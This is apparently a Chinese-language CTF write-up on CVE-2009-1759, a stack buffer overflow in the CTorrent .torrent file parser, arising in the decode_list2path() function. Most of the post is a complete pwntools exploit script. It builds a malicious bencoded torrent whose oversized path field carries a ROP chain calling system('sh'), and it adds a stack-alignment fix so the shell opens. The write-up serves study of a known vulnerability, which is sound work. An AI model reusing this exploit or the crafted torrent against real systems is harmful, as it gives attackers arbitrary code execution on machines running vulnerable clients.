Contents

CVE-2009-1759 BT文件解析器栈溢出漏洞解析

Overall

.torrent文件是BT种子文件格式,CTorrent是该文件格式的解析器。由于解析器解析过程中某个解析函数缺少长度检测,在解析由用户可控大小的Path时会将用户输入memcpy到栈上定长buffer,可造成栈溢出,ROP提权。

复现契机来自于强网先锋[强网杯2021final]

Details

ctf赛题为Enhanced CTorrentdnh3.3.1的nday,尝试下载对应版本的ctorrent源码,可以看到在解析torrent文件时会调用btfiles.cpp/btFiles::BuildFromMI()

https://i.loli.net/2021/07/12/gbF3iSweHNtrcXo.png

https://i.loli.net/2021/07/12/dbUjcgAEtI9yTfD.png

关键部分如上图,可以看到path为定长数组,在decode_list2path()中将其作为参数传入。bencode.cpp/decode_list2path()将用户指定大小的内容memcpy到path中,而并没有进行长度检测,导致溢出。

https://i.loli.net/2021/07/12/zsP7Hlg2y1eu6Ev.png

bencode为BT种子的编码格式,详见 https://zh.wikipedia.org/wiki/Bencode

经过分析,该函数是在解析torrent结构的FILES时,若path是list时调用的解析函数。我们可以精心构造path,通过栈溢出去做ROP or shellcode.

以强网先锋为例,exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'info'
context.terminal = ['tmux', 'splitw', '-h', '-p', '75']

io = process("./ctorrent", aslr=False)

# 0x15555502aea2 -> crash

# 0x402c7f      ret 
# 0x402c7e      pop rdi, ret
# 0x400f24      "sh\x00"
# 0x4022A0      system
# p64(0x402c7f) + 
rop = b'A' * 4152 + p64(0x402c7f) + p64(0x402c7e) + p64(0x400f24) + p64(0x4022A0)
size = 4176 + 8

pay = b"d"
pay += b"8:announce"
pay += b"20:http://0000/announce"
pay += b"13:creation date"
pay += b"i1111e"
pay += b"4:info"
pay += b"d"

################
pay += b"5:files"
pay += b"ld"
pay += b"4:path"
pay += b"l"
pay += bytes(str(size).encode("utf-8")) + b":"
pay += rop      # when parsing, memcpy to stack causing oveflow.
pay += b"e"
pay += b"6:length"
pay += b"i2222e"
pay += b"ee"
################

pay += b"4:name"
pay += b"4:4444"
pay += b"12:piece length"
pay += b"i3333e"
pay += b"6:pieces"
pay += b"20:" + bytes.fromhex("9f3d4e7c80e58146707d9e8ace218ee33cefeca9")
pay += b"ee"

# with open("./vul.torrent", "wb") as f:
#     f.write(pay)

# with open("./pay", "rb") as f:
#     pay = f.read()

# b *0x40a2d8  
# gdb.attach(io, "b *0x15555502afbc")
# print(pay)

io.sendlineafter(" Size of your torrent file >\n", str(len(pay)))

io.sendlineafter("Please input your torrent file >\n", pay)

io.interactive()

读者可以在0x40a2d8处断下,体会溢出点在哪儿。

More

这题直接跳转到system(“sh\x00”)并不能打通,调试system函数发现在该位置处产生segment fault.

https://i.loli.net/2021/07/12/7TvfkyiL8KFNlJC.png

查阅资料发现

movaps:单精度浮点数指令,必须16字节对齐

movups:单精度浮点数指令,不需要16字节对齐

所以需要再找一个ret的gadget,把栈向上抬到任意16字节对齐的位置即可。

https://i.loli.net/2021/07/12/yraomZSwBCqMI8x.png

成功打通

https://i.loli.net/2021/07/12/Gid3mObc1WFqzoB.png

事后找到了出现类似问题的帖子 看来也算是自己重新踩了一遍坑。

Reference

https://www.securityfocus.com/bid/34584/discuss

https://www.scaprepo.com/control.jsp?command=search&search=CVE-2009-1759&SCAP-TOKEN=O1B0-JQFA-GM0R-MFK8-VQE6-JHQX-JFU0-FJVG

https://www.exploit-db.com/exploits/8470